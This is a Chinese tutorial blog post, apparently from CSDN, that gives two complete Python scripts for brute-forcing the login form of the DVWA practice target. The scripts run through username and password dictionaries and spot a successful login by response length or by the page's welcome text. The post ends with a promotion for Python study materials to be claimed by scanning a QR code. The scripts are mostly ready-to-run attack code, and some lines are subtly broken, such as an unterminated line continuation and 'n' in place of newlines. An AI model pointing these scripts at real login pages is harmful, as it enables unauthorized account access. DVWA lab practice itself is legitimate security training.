内行看了都emo,居然用20行Python代码就能攻破网站登录

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收。

Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。

for admin in open("C:\Users\admin\Documents\字典\账号.txt"):
    for line in open("C:\Users\admin\Documents\字典\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。

result = str(Response.status_code) + ',' + username + ','
  + password + ',' + str(len(Response.content))
f.write(result + 'n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + 'n')
for admin in open("C:\Users\admin\Documents\字典\账号.txt"):
    for line in open("C:\Users\admin\Documents\字典\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','
            + password + ',' + str(len(Response.content))
        f.write(result + 'n')

print('n完成')

运行

 这就是脚本发送的数据包

 查看结果

 查看包长度与其他不同的数据,登录测试

 方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。

主要改动在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\Users\admin\Documents\字典\账号.txt"):
    for line in open("C:\Users\admin\Documents\字典\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + 'n')
            
print('n完成')

运行

 

本人是一名从事6年开发的老程序员了,python 也是我一直着手的一门语言

TIOBE排行榜上python也稳居第一的位置了。

在这里小编也给大家整理了一整套非常清晰的学习路线

关于Python技术储备

👉Python学习路线汇总👈

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。


👉Python学习视频👈

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述
在这里插入图片描述


👉Python练习题👈

检查学习结果。
在这里插入图片描述


 

总结(获取)

这份完整版的Python全套学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码 【免费获取】

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码

)">
< <上一篇
下一篇>>